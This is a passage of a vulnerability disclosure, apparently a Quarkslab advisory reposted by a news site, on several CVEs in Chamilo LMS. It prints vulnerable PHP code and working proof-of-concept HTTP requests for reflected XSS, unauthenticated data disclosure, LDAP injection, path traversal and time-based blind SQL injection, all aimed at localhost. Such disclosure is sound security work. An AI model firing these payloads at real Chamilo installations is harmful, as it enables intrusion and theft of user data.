php\n<?php\n\n...\n\napi_block_anonymous_users();\n$export_csv = isset($_GET['export']) && 'csv' === $_GET['export'] ? true : false;\n$course_code = isset($_GET['course']) ? Security::remove_XSS($_GET['course']) : null;\n$_course = api_get_course_info();\n$coment = '';\n\n...\n```\n\n__Request (HTTP):__\n\n```\nGET /main/extra/myStudents.php?student=1&course=1337%27%22autofocus=%22enable%22onfocus=%22alert(%27coiffeur%27)%22 HTTP/1.1\nHost: 127.0.0.1\nCookie: ch_sid=497039b7f36b9f5d615d559365f2a342\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Type: text/html; charset=UTF-8\nContent-Length: 39704\n\n...\n\n<img src=\"http://127.0.0.1/main/img/icons/32/mail_send.png\" alt=\"Send mail\" title=\"Send mail\"  /></a><a href=\"access_details.php?student=1&course=1337'\"autofocus=\"enable\"onfocus=\"alert('coiffeur')\"&origin=&cidReq=1337'\"autofocus=\"enable\"onfocus=\"alert('coiffeur')\"&id_session=0\">\n    <div class=\"row\">\n\n...\n```\n\n### Multiple unauthorized session metadata disclosure in main/inc/ajax/session.ajax.php via actions `session_info` and `get_description` (pre-auth) (CVE-2026-61587)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/inc/ajax/session.ajax.php\n\n``` php\n...\n\n    case 'session_info':\n        $sessionId = isset($_GET['session_id']) ? $_GET['session_id'] : '';\n        $sessionInfo = api_get_session_info($sessionId);\n\n        $extraFieldValues = new ExtraFieldValue('session');\n        $extraField = new ExtraField('session');\n        $values = $extraFieldValues->getAllValuesByItem($sessionId);\n        $load = isset($_GET['load_empty_extra_fields']) ? true : false;\n\n        if ($load) {\n            $allExtraFields = $extraField->get_all();\n            $valueList = array_column($values, 'id');\n            foreach ($allExtraFields as $extra) {\n                if (!in_array($extra['id'], $valueList)) {\n                    $values[] = [\n                        'id' => $extra['id'],\n                        'variable' => $extra['variable'],\n                        'value' => '',\n                        'field_type' => $extra['field_type'],\n                    ];\n                }\n            }\n        }\n\n        $sessionInfo['extra_fields'] = $values;\n\n        if (!empty($sessionInfo)) {\n            echo json_encode($sessionInfo);\n        }\n        break;\n    case 'get_description':\n        if (isset($_GET['session'])) {\n            $sessionInfo = api_get_session_info($_GET['session']);\n            echo '<h2>'.$sessionInfo['name'].'</h2>';\n            echo '<div class=\"home-course-intro\"><div class=\"page-course\"><div class=\"page-course-intro\">';\n            echo $sessionInfo['show_description'] == 1 ? $sessionInfo['description'] : get_lang('None');\n            echo '</div></div></div>';\n        }\n        break;\n\n...\n```\n\n__Request (HTTP):__\n\n```\nGET /main/inc/ajax/session.ajax.php?a=session_info&session_id=1&load_empty_extra_fields=true HTTP/1.1\nHost: 127.0.0.1\n```\n\nOr\n\n__Request (HTTP):__\n\n```\nGET /main/inc/ajax/session.ajax.php?a=get_description&session=1 HTTP/1.1\nHost: 127.0.0.1\n```\n\n### LDAP Injection in main/admin/ldap_import_students.php as admin (CVE-2026-61585)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/admin/ldap_import_students.php\n\n``` php\n<?php\n\n...\n\n$annee = $_GET['annee'];\n$composante = $_GET['composante'];\n$etape = $_GET['etape'];\n$course = $_POST['course'];\n\n...\n\n} elseif (!empty($annee) && !empty($course) && empty($_POST['confirmed'])) {\n    // form4  annee != 0; composante != 0 etape != 0\n    //elseif ($annee <> \"\" && $composante <> \"\" && $etape <> \"\" && $listeok != 'yes') {\n    Display::display_header($tool_name);\n    echo '<div style=\"align: center;\">';\n    echo '<br />';\n    echo '<br />';\n    echo '<h3>'.Display::return_icon('group.gif', get_lang('SelectStudents')).' '.get_lang('SelectStudents').'</h3>';\n    //echo \"Connection ...\";\n    $ds = ldap_connect($ldap_host, $ldap_port) or exit(get_lang('LDAPConnectionError'));\n    ldap_set_version($ds);\n\n    if ($ds) {\n        $r = false;\n        $res = ldap_handle_bind($ds, $r);\n\n        //$sr = @ ldap_search($ds, \"ou=people,$LDAPbasedn\", \"(|(edupersonprimaryorgunitdn=ou=$etape,ou=$annee,ou=diploma,o=Paris1,$LDAPbasedn)(edupersonprimaryorgunitdn=ou=02PEL,ou=$annee,ou=diploma,o=Paris1,$LDAPbasedn))\");\n        //echo \"(ou=*$annee,ou=$composante)\";\n        $sr = @ldap_search($ds, $ldap_basedn, \"(ou=*$annee)\");\n\n        $info = ldap_get_entries($ds, $sr);\n\n        for ($key = 0; $key < $info[\"count\"]; $key++) {\n            $nom_form[] = $info[$key][\"sn\"][0];\n            $prenom_form[] = $info[$key][\"givenname\"][0];\n            $email_form[] = $info[$key][\"mail\"][0];\n            // Get uid from dn\n            //$dn_array=ldap_explode_dn($info[$key][\"dn\"],1);\n            //$username_form[] = $dn_array[0]; // uid is first key\n            $username_form[] = $info[$key]['uid'][0];\n            $outab[] = $info[$key][\"eduPersonPrimaryAffiliation\"][0]; // Ici \"student\"\n            //$val = ldap_get_values_len($ds, $entry, \"userPassword\");\n            //$password_form[] = $val[0];\n            $password_form[] = $info[$key]['userPassword'][0];\n        }\n        ldap_unbind($ds);\n        asort($nom_form);\n        reset($nom_form);\n\n        $statut = 5;\n        include 'ldap_form_add_users_group.php';\n    } else {\n        echo '<h4>'.get_lang('UnableToConnectTo').' '.$host.'</h4>';\n    }\n    echo '<br /><br />';\n    echo '<a href=\"ldap_import_students.php?annee=&composante=&etape=\">'.get_lang('BackToNewSearch').'</a>';\n    echo '<br /><br />';\n    echo '</div>';\n\n...\n```\n\n__Request (HTTP):__\n\n```\nPOST /main/admin/ldap_import_students.php?annee=IVOIRE HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 11\nCookie: ch_sid=7624fed4ee45899558b9c9e2f90e306c\n\ncourse=JUNK\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Type: text/html; charset=UTF-8\nContent-Length: 20103\n\n<!DOCTYPE html>\n\n...\n```\n\n### LDAP Injection in main/admin/ldap_import_students_to_session.php as admin (CVE-2026-61585)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/admin/ldap_import_students_to_session.php\n\n``` php\n<?php\n\n...\n\n$annee = $_GET['annee'];\n$id_session = $_POST['id_session'];\n\n...\n\n// form4  annee != 0; composante != 0 etape != 0\n//elseif ($annee <> \"\" && $composante <> \"\" && $etape <> \"\" && $listeok != 'yes') {\nelseif (!empty($annee) && !empty($id_session) && empty($_POST['confirmed'])) {\n    Display::display_header($tool_name);\n    echo '<div style=\"align: center;\">';\n    echo '<br />';\n    echo '<br />';\n    echo '<h3>'.Display::return_icon('group.gif', get_lang('SelectStudents')).' '.get_lang('SelectStudents').'</h3>';\n    //echo \"Connection ...\";\n    $ds = ldap_connect($ldap_host, $ldap_port) or exit(get_lang('LDAPConnectionError'));\n    ldap_set_version($ds);\n    if ($ds) {\n        $r = false;\n        $res = ldap_handle_bind($ds, $r);\n\n        //$sr = @ ldap_search($ds, \"ou=people,$LDAPbasedn\", \"(|(edupersonprimaryorgunitdn=ou=$etape,ou=$annee,ou=diploma,o=Paris1,$LDAPbasedn)(edupersonprimaryorgunitdn=ou=02PEL,ou=$annee,ou=diploma,o=Paris1,$LDAPbasedn))\");\n        //echo \"(ou=*$annee,ou=$composante)\";\n        $sr = @ldap_search($ds, $ldap_basedn, \"(ou=*$annee)\");\n\n        $info = ldap_get_entries($ds, $sr);\n\n        for ($key = 0; $key < $info[\"count\"]; $key++) {\n            $nom_form[] = $info[$key][\"sn\"][0];\n            $prenom_form[] = $info[$key][\"givenname\"][0];\n            $email_form[] = $info[$key][\"mail\"][0];\n            // Get uid from dn\n            //$dn_array=ldap_explode_dn($info[$key][\"dn\"],1);\n            //$username_form[] = $dn_array[0]; // uid is first key\n            $username_form[] = $info[$key]['uid'][0];\n            $outab[] = $info[$key][\"eduPersonPrimaryAffiliation\"][0]; // Ici \"student\"\n            //$val = ldap_get_values_len($ds, $entry, \"userPassword\");\n            //$password_form[] = $val[0];\n            $password_form[] = $info[$key]['userPassword'][0];\n        }\n        ldap_unbind($ds);\n        asort($nom_form);\n        reset($nom_form);\n        $statut = 5;\n        include 'ldap_form_add_users_group.php';\n    } else {\n        echo '<h4>'.get_lang('UnableToConnectTo').' '.$host.'</h4>';\n    }\n    echo '<br /><br />';\n    echo '<a href=\"ldap_import_students.php?annee=\">'.get_lang('BackToNewSearch').'</a>';\n    echo '<br /><br />';\n    echo '</div>';\n\n...\n```\n\n__Request (HTTP):__\n\n```\nPOST /main/admin/ldap_import_students_to_session.php?annee=IVOIRE HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 15\nCookie: ch_sid=7624fed4ee45899558b9c9e2f90e306c\n\nid_session=JUNK\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Type: text/html; charset=UTF-8\nContent-Length: 20124\n\n<!DOCTYPE html>\n\n...\n```\n\n### Path Traversal and Arbitrary Folder Creation as student (CVE-2026-61584)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/inc/ajax/record_audio_rtc.ajax.php\n\n```\n<?php\n\n/* For licensing terms, see /license.txt */\n\nuse ChamiloSession as Session;\n\nrequire_once __DIR__.'/../global.inc.php';\n\napi_block_anonymous_users();\n\n$courseInfo = api_get_course_info();\n/** @var string $tool document or exercise */\n$tool = isset($_REQUEST['tool']) ? $_REQUEST['tool'] : '';\n$type = isset($_REQUEST['type']) ? $_REQUEST['type'] : 'document'; // can be document or message\n\nif ($type === 'document') {\n    api_protect_course_script();\n}\n\n$userId = api_get_user_id();\n\nif (!isset($_FILES['audio_blob'], $_REQUEST['audio_dir'])) {\n    if ($tool === 'exercise') {\n        header('Content-Type: application/json');\n        echo json_encode([\n            'error' => true,\n            'message' => Display::return_message(get_lang('UploadError'), 'error'),\n        ]);\n\n        Display::cleanFlashMessages();\n        exit;\n    }\n\n    Display::addFlash(Display::return_message(get_lang('UploadError'), 'error'));\n    exit;\n}\n\n$file = isset($_FILES['audio_blob']) ? $_FILES['audio_blob'] : [];\n$file['file'] = $file;\n$audioDir = Security::remove_XSS($_REQUEST['audio_dir']);\n\nswitch ($type) {\n    case 'document':\n        $dirBaseDocuments = api_get_path(SYS_COURSE_PATH).$courseInfo['path'].'/document';\n        $saveDir = $dirBaseDocuments.$audioDir;\n        if (!is_dir($saveDir)) {\n            mkdir($saveDir, api_get_permissions_for_new_directories(), true);\n        }\n\n        if (empty($audioDir)) {\n            $audioDir = '/';\n        }\n\n        $uploadedDocument = DocumentManager::upload_document(\n            $file,\n            $audioDir,\n            $file['name'],\n            null,\n            0,\n            'overwrite',\n            false,\n            in_array($tool, ['document', 'exercise']),\n            'file',\n            true,\n            api_get_user_id(),\n            $courseInfo,\n            api_get_session_id(),\n            api_get_group_id(),\n            'exercise' === $tool\n        );\n        $error = empty($uploadedDocument) || !is_array($uploadedDocument);\n\n        if (!$error) {\n            $newDocId = $uploadedDocument['id'];\n            $courseId = $uploadedDocument['c_id'];\n\n            /** @var learnpath $lp */\n            $lp = Session::read('oLP');\n            $lpItemId = isset($_REQUEST['lp_item_id']) && !empty($_REQUEST['lp_item_id']) ? $_REQUEST['lp_item_id'] : null;\n            if (!empty($lp) && empty($lpItemId)) {\n                $lp->set_modified_on();\n\n                $lpItem = new learnpathItem($lpItemId);\n                $lpItem->add_audio_from_documents($newDocId);\n            }\n\n            $data = DocumentManager::get_document_data_by_id($newDocId, $courseInfo['code']);\n\n            if ($tool === 'exercise') {\n                header('Content-Type: application/json');\n                echo json_encode([\n                    'error' => $error,\n                    'message' => Display::getFlashToString(),\n                    'fileUrl' => $data['document_url'],\n                ]);\n\n                Display::cleanFlashMessages();\n                exit;\n            }\n\n            echo $data['document_url'];\n        }\n\n        break;\n    case 'message':\n        Session::write('current_audio_id', $file['name']);\n        api_upload_file('audio_message', $file, api_get_user_id());\n\n        break;\n}\n```\n\n__Request (HTTP):__\n\n```\nPOST /main/inc/ajax/record_audio_rtc.ajax.php?cidReq=TESTCOURSETITLE HTTP/1.1\nHost: 127.0.0.1\nContent-Type: multipart/form-data; boundary=----BOUNDARY\nContent-Length: 267\nCookie: ch_sid=91222307076cd80c0a44a0076e5a5879\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"audio_blob\"; filename=\"xxxx.yyyy\"\nContent-Type: audio/wav\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"audio_dir\"\n\n/../../../../../../../../../../../../../../../../../../tmp/POC/\n------BOUNDARY--\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Length: 0\nContent-Type: text/html; charset=UTF-8\n```\n\n### SQL Injection in main/inc/ajax/model.ajax.php via action `get_exercise_pending_results` as admin (CVE-2026-61600)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/inc/ajax/model.ajax.php\n\n```\n...\n\n    case 'get_exercise_pending_results':\n        if ((false === api_is_teacher()) && (false === api_is_session_admin())) {\n            exit;\n        }\n        $search_start_date = isset($_REQUEST['start_date']) && !empty($_REQUEST['start_date']) ? $_REQUEST['start_date'] : null;\n        $search_end_date = isset($_REQUEST['end_date']) && !empty($_REQUEST['end_date']) ? $_REQUEST['end_date'] : null;\n        $courseId = $_REQUEST['course_id'] ?? 0;\n        $exerciseId = $_REQUEST['exercise_id'] ?? 0;\n        $status = $_REQUEST['status'] ?? 0;\n        $questionType = $_REQUEST['questionType'] ?? 0;\n        $showAttemptsInSessions = $_REQUEST['showAttemptsInSessions'] ? true : false;\n        if (isset($_GET['filter_by_user']) && !empty($_GET['filter_by_user'])) {\n            $filter_user = (int) $_GET['filter_by_user'];\n            if (empty($whereCondition)) {\n                $whereCondition .= \" te.exe_user_id  = '$filter_user'\";\n            } else {\n                $whereCondition .= \" AND te.exe_user_id  = '$filter_user'\";\n            }\n        }\n\n        if (isset($_GET['group_id_in_toolbar']) && !empty($_GET['group_id_in_toolbar'])) {\n            $groupIdFromToolbar = (int) $_GET['group_id_in_toolbar'];\n            if (!empty($groupIdFromToolbar)) {\n                if (empty($whereCondition)) {\n                    $whereCondition .= \" te.group_id  = '$groupIdFromToolbar'\";\n                } else {\n                    $whereCondition .= \" AND group_id  = '$groupIdFromToolbar'\";\n                }\n            }\n        }\n\n        if (!empty($whereCondition)) {\n            $whereCondition = \" AND $whereCondition\";\n        }\n\n        if (!empty($courseId)) {\n            $whereCondition .= \" AND te.c_id = $courseId\";\n        }\n\n        // Filtrage sur la date de fin d'exercice (exe_date)\n        if (!empty($search_start_date)) {\n            $whereCondition .= \" AND te.exe_date >= '\".Database::escape_string($search_start_date).\" 00:00:00'\";\n        }\n        if (!empty($search_end_date)) {\n            $whereCondition .= \" AND te.exe_date <= '\".Database::escape_string($search_end_date).\" 23:59:59'\";\n        }\n\n        $count = ExerciseLib::get_count_exam_results(\n            $exerciseId,\n            $whereCondition,\n            '',\n            false,\n            true,\n            $status,\n            $showAttemptsInSessions,\n            $questionType,\n            true\n        );\n\n        break;\n...\n```\n\n__Request (HTTP):__\n\n```\nGET /main/inc/ajax/model.ajax.php?a=get_exercise_pending_results&course_id=12%20OR%201=IF(%27admin%27=(SELECT%20username%20FROM%20user%20WHERE%20user_id=1),SLEEP(5),0) HTTP/1.1\nHost: 127.0.0.1\nCookie: ch_sid=7c6f940396d802d9bf90f8b60d807436\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Length: 32\nContent-Type: application/json;charset=utf-8\n\n{\"page\":0,\"total\":0,\"records\":0}\n```\n\n### SQL Injection in main/inc/ajax/model.ajax.php via action `get_work_pending_list` as admin (CVE-2026-61600)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/inc/ajax/model.ajax.php\n\n```\n...\n\n    case 'get_work_pending_list':\n        require_once api_get_path(SYS_CODE_PATH).'work/work.lib.php';\n        $courseId = $_REQUEST['course'] ?? 0;\n        $status = $_REQUEST['status'] ?? 0;\n        if (isset($_REQUEST['work_parent_ids'])) {\n            $whereCondition = ' parent_id IN('.Security::remove_XSS($_REQUEST['work_parent_ids']).')';\n        }\n        $count = getAllWork(\n            null,\n            null,\n            null,\n            null,\n            $whereCondition,\n            true,\n            $courseId,\n            $status\n        );\n        break;\n\n...\n```\n\n__Request (HTTP):__\n\n```\nGET /main/inc/ajax/model.ajax.php?a=get_work_pending_list&course_id=1&status=1&work_parent_ids=0)%20OR%20IF(1=(SELECT%20user_id%20FROM%20user%20WHERE%20user_id=1),SLEEP(10),0)%20OR%20(1=0 HTTP/1.1\nHost: 127.0.0.1\nCookie: ch_sid=d6668e4fd7fffd286a1fd5466e72e8b7\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Type: text/html; charset=UTF-8\nContent-Length: 11758\n\n<!DOCTYPE html>\n\n...\n```\n\n### SQL Injection in main/inc/ajax/model.ajax.php via action `get_exercise_results` as student (CVE-2026-61600)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/inc/ajax/model.ajax.php\n\n```\n// If there is no search request sent by jqgrid, $where should be empty\n$whereCondition = '';\n$operation = $_REQUEST['oper'] ?? false;\n$exportFormat = $_REQUEST['export_format'] ?? 'csv';\n$searchField = $_REQUEST['searchField'] ?? false;\n$searchOperator = $_REQUEST['searchOper'] ?? false;\n$searchString = $_REQUEST['searchString'] ?? false;\n$search = $_REQUEST['_search'] ?? false;\n$forceSearch = $_REQUEST['_force_search'] ?? false;\n$extra_fields = [];\n$accessStartDate = '';\n$accessEndDate = '';\n$overwriteColumnHeaderExport = [];\n\n$result = [];\n\nif (!empty($search)) {\n    $search = 'true';\n}\n\nif (($search || $forceSearch) && ($search !== 'false')) {\n    $whereCondition = ' 1 = 1 ';\n    $whereConditionInForm = getWhereClause(\n        $searchField,\n        $searchOperator,\n        $searchString\n    );\n\n    if (!empty($whereConditionInForm)) {\n        $whereCondition .= ' AND ( ';\n        $whereCondition .= '  ('.$whereConditionInForm.') ';\n    }\n    $filters = isset($_REQUEST['filters']) && !is_array($_REQUEST['filters']) ? json_decode($_REQUEST['filters']) : false;\n    if (isset($_REQUEST['filters2'])) {\n        $filters = json_decode($_REQUEST['filters2']);\n    }\n\n    if (!empty($filters)) {\n        if (in_array($action,\n            [\n                'get_user_course_report_resumed',\n                'get_user_course_report',\n                'get_questions',\n                'get_sessions',\n                'get_sessions_tracking',\n            ]\n        )) {\n            switch ($action) {\n                case 'get_user_course_report_resumed':\n                case 'get_user_course_report':\n                    $type = 'user';\n                    break;\n                case 'get_questions':\n                    $type = 'question';\n                    break;\n                case 'get_sessions':\n                case 'get_sessions_tracking':\n                    $type = 'session';\n                    break;\n            }\n\n            if (!empty($type)) {\n                // Extra field.\n                $extraField = new ExtraField($type);\n\n                if (is_object($filters)\n                    && property_exists($filters, 'rules')\n                    && is_array($filters->rules)\n                    && !empty($filters->rules)\n                ) {\n                    foreach ($filters->rules as $key => $data) {\n                        if (empty($data)) {\n                            continue;\n                        }\n                        if ($data->field === 'extra_access_start_date') {\n                            $accessStartDate = $data->data;\n                        }\n\n                        if ($data->field === 'extra_access_end_date') {\n                            $accessEndDate = $data->data;\n                        }\n\n                        if (in_array($data->field, $toRemove)) {\n                            unset($filters->rules[$key]);\n                        }\n                    }\n                }\n\n                $result = $extraField->getExtraFieldRules($filters, 'extra_');\n\n                $extra_fields = $result['extra_fields'];\n                $condition_array = $result['condition_array'];\n                $extraCondition = '';\n                if (!empty($condition_array)) {\n                    $extraCondition = $filters->groupOp.' ( ';\n                    $extraCondition .= implode($filters->groupOp, $condition_array);\n                    $extraCondition .= ' ) ';\n                }\n                $whereCondition .= $extraCondition;\n\n                // Question field\n                $resultQuestion = $extraField->getExtraFieldRules(\n                    $filters,\n                    'question_'\n                );\n                $questionFields = $resultQuestion['extra_fields'];\n                $condition_array = $resultQuestion['condition_array'];\n\n                $extraQuestionCondition = '';\n                if (!empty($condition_array)) {\n                    $extraQuestionCondition = $filters->groupOp.' ( ';\n                    $extraQuestionCondition .= implode($filters->groupOp, $condition_array);\n                    $extraQuestionCondition .= ' ) ';\n                    // Remove conditions already added\n                    $extraQuestionCondition = str_replace(\n                        $extraCondition,\n                        '',\n                        $extraQuestionCondition\n                    );\n                }\n\n                $whereCondition .= $extraQuestionCondition;\n            }\n        } elseif (!empty($filters->rules)) {\n            $whereCondition .= ' AND ( ';\n            $counter = 0;\n            foreach ($filters->rules as $key => $rule) {\n                $whereCondition .= getWhereClause(\n                    $rule->field,\n                    $rule->op,\n                    $rule->data\n                );\n\n                if ($counter < count($filters->rules) - 1) {\n                    $whereCondition .= $filters->groupOp;\n                }\n                $counter++;\n            }\n            $whereCondition .= ' ) ';\n        }\n    }\n\n    if (!empty($whereConditionInForm)) {\n        $whereCondition .= ' ) ';\n    }\n}\n\n...\n\n    case 'get_exercise_results':\n        $exercise_id = $_REQUEST['exerciseId'];\n\n        if (!empty($_GET['filter_by_user'])) {\n            $filter_user = (int) $_GET['filter_by_user'];\n            if (empty($whereCondition)) {\n                $whereCondition .= \" te.exe_user_id  = '$filter_user'\";\n            } else {\n                $whereCondition .= \" AND te.exe_user_id  = '$filter_user'\";\n            }\n        }\n\n        if (!empty($_GET['group_id_in_toolbar'])) {\n            $groupIdFromToolbar = (int) $_GET['group_id_in_toolbar'];\n            if (!empty($groupIdFromToolbar)) {\n                if (empty($whereCondition)) {\n                    $whereCondition .= \" te.group_id  = '$groupIdFromToolbar'\";\n                } else {\n                    $whereCondition .= \" AND group_id  = '$groupIdFromToolbar'\";\n                }\n            }\n        }\n\n        if (!empty($whereCondition)) {\n            $whereCondition = \" AND $whereCondition\";\n        }\n\n        $count = ExerciseLib::get_count_exam_results($exercise_id, $whereCondition);\n        break;\n\n...\n```\n\n__Request (HTTP):__\n\n```\nGET /main/inc/ajax/model.ajax.php?a=get_exercise_results&exerciseId=1&_search=true&filters={%22groupOp%22:%22%20OR%20IF(%27admin%27=(SELECT%20username%20from%20user%20WHERE%20user_id=1),SLEEP(10),0)%20OR%20%22,%22rules%22:[{%22field%22:%221%22,%22op%22:%22eq%22,%22data%22:%222%22},{%22field%22:%222%22,%22op%22:%22eq%22,%22data%22:%221%22}]} HTTP/1.1\nHost: 127.0.0.1\nCookie: ch_sid=3bdd3b667ca945effc328606960c0ad0\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Length: 32\nContent-Type: application/json;charset=utf-8\n\n{\"page\":0,\"total\":0,\"records\":0}\n```\n\n### SQL Injection in main/work/pending.php as admin (CVE-2026-61600)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/work/pending.php\n\n``` php\n<?php\n\n...\n\n$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : null;\n$itemId = isset($_REQUEST['item_id']) ? (int) $_REQUEST['item_id'] : null;\n$exportXls = isset($_REQUEST['export_xls']) && !empty($_REQUEST['export_xls']) ? (int) $_REQUEST['export_xls'] : 0;\n$htmlHeadXtra[] = api_get_jquery_libraries_js(['jquery-upload']);\n\n...\n\n$courses = CourseManager::get_courses_list_by_user_id($userId, false, false, false);\n$content = '';\nif (!empty($courses)) {\n    $form = new FormValidator('pending', 'POST');\n\n    ...\n\n    $form->addButtonSearch(get_lang('Search'), 'pendingSubmit');\n    $content .= $form->returnForm();\n    $tableWork = Display::grid_html('results');\n    $content .= Display::panel($tableWork);\n\n    if ($form->validate()) {\n        $values = $form->getSubmitValues();\n        $courseId = $values['course'] ?? 0;\n        if (!empty($courseId)) {\n            $url .= '&course='.(int) $courseId;\n        }\n\n        $status = $values['status'] ?? 0;\n        if (!empty($status)) {\n            $url .= '&status='.(int) $status;\n        }\n        if (!empty($values['work_parent_ids'])) {\n            $url .= '&work_parent_ids='.Security::remove_XSS(implode(',', $values['work_parent_ids']));\n        }\n        if ($exportXls) {\n            exportPendingWorksToExcel($values);\n        }\n    }\n} else {\n    $content .= Display::return_message(get_lang('NoCoursesForThisUser'), 'warning');\n}\n\n...\n```\n\n__Request (HTTP):__\n\n```\nPOST /main/work/pending.php HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 94\nCookie: ch_sid=1ff732ef8c7641c08aa8f301da0bd408\n\nwork_parent_ids%5B%5D=1) AND 1=IF(1>0,SLEEP(1),0) OR parent_id IN(1&_qf__pending=&export_xls=1\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\nDate: Sat, 28 Mar 2026 21:21:13 GMT\n...\nContent-Disposition: attachment; filename= Students-assignments-to-be-corrected_2026-03-28-212115.xlsx\nContent-Description: Students-assignments-to-be-corrected_2026-03-28-212115.xlsx\nContent-Transfer-Encoding: binary\nContent-Type: application/octet-stream\n\nPK\n\n...\n```\n\n", "url": "https://wpnews.pro/news/chamilo-lms-it-s-raining-0days-hallelujah-it-s-raining-0days", "canonical_source": "http://blog.quarkslab.com/chamilo-lms-its-raining-0days-hallelujah-its-raining-0days.html", "published_at": "2026-08-31 22:00:00+00:00", "updated_at": "2026-09-30 21:49:54.750183+00:00", "lang": "en", "topics": ["ai-safety"], "entities": ["Chamilo", "Mathieu Farrell", "Sean Matthews", "CVE-2026-61600"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/chamilo-lms-it-s-raining-0days-hallelujah-it-s-raining-0days", "markdown": "https://wpnews.pro/news/chamilo-lms-it-s-raining-0days-hallelujah-it-s-raining-0days.md", "text": "https://wpnews.pro/news/chamilo-lms-it-s-raining-0days-hallelujah-it-s-raining-0days.txt", "jsonld": "https://wpnews.pro/news/chamilo-lms-it-s-raining-0days-hallelujah-it-s-raining-0days.jsonld"}}